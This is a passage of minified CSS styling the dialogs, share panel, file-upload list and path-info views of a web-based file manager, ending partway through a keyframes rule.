.aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload span.status{padding-left:10px;font-size:10px;color:#f96;}.file_list{display:none;}.movie_player_dialog{overflow:hidden;}.flash_player{width:100%;height:100%;}.wmp_player{width:0%;height:0%;}.movie_player_dialog .aui_content{background:#000;}.dialog_path_remove .aui_content{word-wrap:break-word;width:auto;}.server_dwonload_textarea textarea{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.server_dwonload_textarea textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload{height:385px;padding:5px;min-width:365px;overflow:hidden;}.file_upload .top_nav{border-bottom:1px solid #ddd;margin-top:6px;}.file_upload .menu{display:block;text-decoration:none;float:left;padding:0px 15px;height:26px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#eeeeee');background:#eee;background-image:-webkit-linear-gradient(top,#fff,#eee);background-image:-moz-linear-gradient(top,#fff,#eee);background-image:-o-linear-gradient(top,#fff,#eee);background-image:-ms-linear-gradient(top,#fff,#eee);background-image:linear-gradient(top,#fff,#eee);-pie-background:linear-gradient(to top,#fff,#eee);font-size:1em;border:1px solid #ccc;text-align:center;line-height:24px;margin-right:5px;margin-bottom:-1px;color:#444;border-radius:4px 4px 0 0;}.file_upload .menu.this{background:#fff;border-bottom:1px solid #fff;}.file_upload .menu:hover{background:#fff;}.file_upload .upload_box{margin-top:10px;}.file_upload .download_btn_group{margin-left:-10px;margin-top:-3px;}.file_upload .download_btn_group .download_start{border-radius:0px;}.file_upload .upload_box_tips .btn.btn-default{border-radius:3px;color:#555;}.file_upload .upload_box_tips .btn-group>.btn:last-child:not(:first-child),.file_upload .upload_box_tips .btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0;}.file_upload div a.left{margin-left:10px;}.file_upload div a.right{position:absolute;right:5px;}.file_upload span.info{font-size:1em;font-style:italic;padding:0px 0 5px 10px;}.file_upload i{font-size:1em;color:#aaa;padding-left:10px;}.file_upload .list{margin:10px 15px 10px 0;}.file_upload .list input{margin-left:10px;width:190px;height:22px;line-height:24px;padding:0px 3px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;}.file_upload .list input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.file_upload .submit input{float:right;padding:4px 20px;background:#ddd;border:none;margin-right:36px;margin-top:10px;}.file_upload .submit input:hover{background:#bbb;}.file_upload .submit input:active{background:#444;color:#fff;}.file_upload .uploader-content{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;background:url("../../../images/common/drop_upload.png") no-repeat center;}.file_upload #downloader{border:1px solid #ddd;margin:0 10px;font-size:1em;overflow:auto;position:absolute;bottom:10px;right:0px;left:0px;top:124px;}.file_upload .webuploader-container{position:relative;}.file_upload .webuploader-element-invisible{position:absolute !important;clip:rect(1px 1px 1px 1px);clip:rect(1px,1px,1px,1px);}.file_upload .webuploader-pick{position:relative;display:inline-block;color:#fff;text-align:center;height:27px;line-height:27px;border-radius:3px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);cursor:pointer;padding:0px 15px;}.file_upload .webuploader-pick-hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .upload_cert{width:24px;background:#def;height:100%;float:left;cursor:pointer;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);height:27px;line-height:27px;position:relative;z-index:10;padding:0;border:none;margin-left:-5px;border-left:1px solid rgba(0,0,0,0.1);border-top-right-radius:3px;border-bottom-right-radius:3px;}.file_upload .upload_cert .caret{margin-top:-2px;margin-left:-1px;border-top:4px solid #fff;}.file_upload .upload_cert_box .dropdown-menu{right:inherit;top:inherit;margin-top:30px;}.file_upload .upload_cert_box .dropdown-menu:before{right:inherit;left:10px;}.file_upload .upload_cert_box .dropdown-menu:after{right:inherit;left:11px;}.file_upload .upload_cert_box.open.upload_cert,.file_upload .upload_cert_box .upload_cert:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);box-shadow:inset 0 1px 1em rgba(0,0,0,0.3);}.file_upload .webuploader-pick-disable{opacity:0.6;filter:alpha(opacity=60);pointer-events:none;}.file_upload .btns{margin-bottom:10px;font-size:1em;height:28px;}.file_upload .btns .tips{float:right;line-height:30px;}.file_upload .btns #picker{float:left;}.file_upload .upload_box_tips{line-height:34px;color:#888;position:absolute;right:10px;}.file_upload .upload_box_config{box-shadow:inset 0px 1px 6px rgba(0,0,0,0.3);border-radius:2px;margin-bottom:10px;padding:4px;}.file_upload .upload_box_config .upload_check_box{margin-left:10px;}.file_upload .upload_box_config label{margin-left:15px;}.file_upload .upload_box_config label input{margin-right:5px;}.file_upload .uploader-list .item,.file_upload .download_list .item{padding:0px;height:35px;overflow:hidden;position:relative;border-bottom:1px solid #ccc;background:#fefefe;}.file_upload .uploader-list .item .info,.file_upload .download_list .item .info{color:#224;line-height:35px;padding:0 5px;z-index:100;position:relative;font-size:1em;}.file_upload .uploader-list .item .info span,.file_upload .uploader-list .item .info a,.file_upload .download_list .item .info span,.file_upload .download_list .item .info a{float:left;height:30px;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;}.file_upload .uploader-list .item .info .title,.file_upload .download_list .item .info .title{color:#3A87AD;width:160px;width:50%;font-weight:800;}.file_upload .uploader-list .item .info .size,.file_upload .download_list .item .info .size{width:45px;text-align:center;color:#3A87AD;font-size:12px;}.file_upload .uploader-list .item .info .state,.file_upload .download_list .item .info .state{width:100px;width:27%;text-align:right;font-size:12px;}.file_upload .uploader-list .item .info .font-icon,.file_upload .download_list .item .info .font-icon{margin-left:12px;font-size:20px;width:20px;line-height:35px;cursor:pointer;color:#bbb;}.file_upload .uploader-list .item .info .font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;}.file_upload .uploader-list .item.success,.file_upload .download_list .item.success{background:#eaf8ff;}.file_upload .uploader-list .item.error,.file_upload .download_list .item.error{background:#ffe8e6;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;border-radius:0;box-shadow:none;position:absolute;top:0;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#adf;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ddeeff',endColorstr='#88ccff',GradientType=1);BACKGROUND-REPEAT:repeat-x;}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}@media screen and (-ms-high-contrast:active),(-ms-high-contrast:none){.btn{ padding:5px 14px;} input[type='checkbox'].kui-checkbox-ios.size-big + em{ height:27px;} #body .system_conennt .right_frame .user_list table tr td.select input{ position:relative;top:4px;} #body table tr input[type='text']{ line-height:22px;} .do_search .search_header .btn-right{ margin:-9px 0 0 -2px;height:23px;} .appbox .appline.icon .open{ margin-top:-2px;} .appbox .appline label{ position:relative;top:-4px;} #body .main .group_editor .tag input{ position:relative;top:-5px;} .share_dialog .aui_border{ overflow:auto;} .share_dialog .content_box .content_info .input_line.select_path a.select_btn{ padding:3px 8px 4px;} .kui-radio + span, .kui-checkbox + span{ position:relative;top:-6px;} .kui-radio.size-small + span, .kui-checkbox.size-small + span{ position:relative;top:-4px;} .kui-radio.size-smallx + span, .kui-checkbox.size-smallx + span{ position:relative;top:-2px;}}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img,.aui_title .x-item-file{width:20px;margin-right:5px;border-radius:4px;cursor:pointer;pointer-events:all;}.aui_title img:hover,.aui_title .x-item-file:hover{transform:scale(1.1,1.1);}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ 